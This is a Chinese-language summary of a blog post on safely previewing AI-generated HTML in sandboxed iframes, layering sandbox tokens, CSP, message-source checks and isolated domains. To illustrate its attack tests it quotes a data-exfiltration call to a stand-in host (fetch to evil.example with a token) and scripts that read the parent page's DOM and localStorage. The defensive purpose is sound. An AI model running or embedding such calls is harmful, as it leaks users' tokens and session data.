一个 `srcdoc` 加一个 iframe,看起来已经是「安全地渲染」了。但真正跑过攻击测试就会发现:没加 sandbox 时,生成的页面能直接读到宿主的 DOM、localStorage 和 cookie;只加 `allow-scripts`,它仍然能把整个标签页导航走、能弹窗、能提交表单;就算 sandbox 加对了,它依然可以发 `fetch`、加载带参数的图片,把数据悄悄带出去。**sandbox 管的是「这个框能碰什么」,管不了「这个框能往外发什么」。** 完整方案是四层:从空的 `sandbox=""` 开始只加回 `allow-scripts`、给预览文档加 `default-src 'none'` 的 CSP、用 `event.source` 而不是 `"null"` 的 origin 校验消息、把用户内容放到一次性独立域名上。

结论先说:预览是唯一「按设计运行陌生人代码」的地方

前端安全工程师 Brennan 在 Master.dev 的这篇复盘里讲了一个很诚实的场景:他用模型生成演示页面的脚手架,拿到成品后直接塞进自己开发服务器上的 iframe 里看效果,然后坐在那里愣了几秒——他是做 AI 功能安全评审的,刚刚却在能看见自己会话的文档里,渲染了一段没人读过的代码。

没出事,只是因为模型恰好按他说的生成了。这类错误的特点是:它每次都成功,直到它真正重要。

现在几乎每个让模型生成 UI 的产品都需要预览:聊天应用里模型返回的 HTML、内部工具渲染的生成报告、低代码的组件搭建器。页面总得有个地方渲染,最顺手的地方就是自己应用里的 iframe。而一旦少做一步,这个框就共享了你的 DOM、你的存储和你的网络。

三个测试,三个失效的直觉

作者先写了「所有人都会写的第一版」:`iframe.srcdoc = html`。比 `innerHTML` 好,CSS 隔离了,页面布局也不会被冲掉。第一遍就能跑通,而能跑通恰恰是问题所在。

第一个测试:读宿主。没有 sandbox 的 `srcdoc` iframe 跑在宿主同源上。它可以直接 `parent.document.querySelector('#secret')`,拿到页面里打印出来的 token,也能读 `parent.localStorage`。浏览器没做错任何事——同源文档本来就有权脚本化同源文档。加上 `sandbox="allow-scripts"` 后,同样的读取立刻抛 `SecurityError`,因为沙箱里的文档是不透明源(opaque origin),和谁都不匹配。

第二个测试:跑出框外。方向反过来:`top.location = '...'` 把整个标签页导航走、`window.open` 弹窗、表单提交到它自己选的端点。只有 `allow-scripts` 时三个都被拦;但只要有人因为「某次功能坏了」随手补上 `allow-top-navigation`,框就拿到了操控整个标签页的权限。每个 sandbox token 都是一次具体授权,预览应该从零开始,一个个地挣。

第三个测试最容易让人意外:往外打电话。一个只有 `allow-scripts` 的框既读不了你的页面,也导航不了你的标签页,但它仍然能发网络请求。`fetch('https://evil.example/collect?token=...')`,或者一个带参数的外链图片,都能把数据带出去。拦住它们的是预览文档上的 CSP,不是另一个 sandbox token。`default-src 'none'` 会在请求离开发出之前就掐掉它。不过 CSP 也拦不住框自己导航自己,所以它同样不是完整的网络边界。

这里的关键认知是:**sandbox 和 CSP 是两个独立控制,各自堵对方漏掉的那个洞,不能互相替代。**

四层防线,一层一层加回去

把三个测试合起来,就是一个四层结构,每层对应一个具体的缺口:

CSP 的投递方式也有讲究:能放在响应头上就放头,因为它覆盖整份文档、在任何内联内容执行之前生效;只有全部塞在一个 `srcdoc` 字符串里时,才退而用 `meta` 标签,且必须放在生成内容之前。另外 `srcdoc` 会继承宿主的 CSP,子策略只能更严,不能放宽。

唯一打开的那条通道,才是真正要守的门

预览总得跟父页面说话,最常见的需求是上报自己的高度。这条 `postMessage` 通道的源头校验和载荷校验沿用上一篇的做法,但 origin 判断要改:拿 `event.source` 去比对你自己嵌入的那个 `contentWindow`,校验消息结构,对数值做 clamp。不要为 `"null"` 开特例。想要一条别的框拿不到端口的私有管道,就用 `MessageChannel`。

加固后的预览面对同一批攻击,结果是:

最后两行才是重点。一个什么都拦得住的预览很好写,但没法上线;能接受自己嵌入的那个框发来的 resize、同时拒掉来源不对或结构不对的消息,才算真正可用。

上线时的取舍:每一次放宽都要说得出理由

作者的落地顺序很固定,而且刻意和「自然长出来的版本」相反:

1. 从空 sandbox 起步,只加一个 token(`allow-scripts`),并在代码里写注释说明为什么。

2. 基础设施允许时,把预览放到一次性域名上,让沙箱逃逸落在一片空地上。

3. 即使已经沙箱化,也照样上 `default-src 'none'` 的 CSP,因为两者拦的不是同一件事,重叠部分不是冗余。

4. 每个消息通道都做 `event.source` 和载荷校验,永不把 `"null"` 加进白名单。

他也坦白了一次真实的妥协:有个工具需要预览加载已知 CDN 上的图片,于是 CSP 里加了 `img-src https://that-cdn.example`。这条确实把洞开大了——图片请求的路径里仍然可以夹带几个字节的偷来的数据——但那个功能没有图片就毫无价值,而 CDN 是他们自己控制的,所以这是一次知情的交易。

这也是整篇文章最值得记住的一句:**你不必给每个预览都上最严的策略,但每一次放宽都必须是一个你能命名、能辩护的决定,而不是某个人为了让报错消失随手粘进去的 token。**

对中文开发者的直接启发

如果你的产品正在做「模型生成页面 / 报告 / 组件」的预览,按这个清单自查即可:

原文给了五个可交互的 demo,直接复现三类攻击和加固后的结果,链接在文末出处。对正在做 AI 产品的团队来说,这比读十篇「iframe 安全最佳实践」都实在。

阅读原文 → 返回 AI 技术文档

内容与图片版权归原作者所有 · 原文: https://blog.master.dev/building-an-isolated-preview-for-ai-generated-html/